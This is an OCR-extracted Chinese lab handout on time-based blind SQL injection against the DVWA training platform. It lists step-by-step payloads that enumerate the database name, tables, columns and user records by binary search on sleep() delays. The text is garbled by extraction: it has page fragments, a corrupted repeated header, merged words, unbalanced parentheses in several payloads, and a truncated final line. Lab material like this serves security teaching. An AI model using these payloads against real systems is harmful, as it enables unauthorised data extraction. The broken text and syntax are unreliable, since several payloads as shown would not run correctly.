数据库应用与安全管理实训SQL注入(时间盲注)1

1、言1言息宜至与管理专皿兼学资腼库实训I SQL注入(时间盲注)1一、实训目的1 . 了解SQL注入的常用方式2 .掌握SQL时间盲注的方法二、实训环境1. DVWA平台2. Firefox浏览器(谷歌浏览器)三、实训内容1 .配置DVWA平台进入DVWA平台，选择DVWA Security ,将安全级别设置为Low。2 .测试SQL注入点(1)点击SQL Injection (Blind),进入测试页面。(2)使用参数1' and sleep(5) # 进行提交，页面明显延迟。使用参数1 andsleep(5) #进行提交，页面没有延迟。说明是基于字符的时间盲注。(3)猜解数据库名的长

2、度。具体命令如下：/明显延迟? 1' and if(length(database()=1,sleep(5),1) #/ 没有延迟1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解数据库名。具体命令如下:八言息我至与管理专皿裁学费腼每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明显延迟? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/没有延迟? 1' andif

3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/没有延迟修改substr函数的第二个参数，如substr(database(),2,1) 进行测试，可以 获得数据库的第二个字母。(5)猜解数据库表的数量。具体命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 没有延迟? 1' and if(select count(table_name)fromi

4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明显延迟(6)猜解数据库表名的长度。具体命令格式如下：/没有延迟? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至与管理专皿兼学资腼库1' and if(length(substr(selecttablename

5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明显延迟table_name from(7)猜解数据库表的名称。具体命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 没有延迟? 1' and if(ascii(substr(select ta

6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 没有延迟重复上述步骤，猜解出两个表名。(8)猜解数据库表中的字段长度。具体命令格式如下：? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 没有延迟1' and if(selectco

7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明显延迟(9)猜解数据库表中的字段名称。具体命令格式如下:言1言息宜至与管理专皿兼学资腼库1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 没有延迟1' an

8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 没有延迟(10)猜解表中的数据。具体命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明显延迟users表中的字段数为5猜测每条记录的长度。说明巾rst_name的第一个值得长度为5个字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明显延迟(11)二分法猜解表中的数据。具体命令格式如下：?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g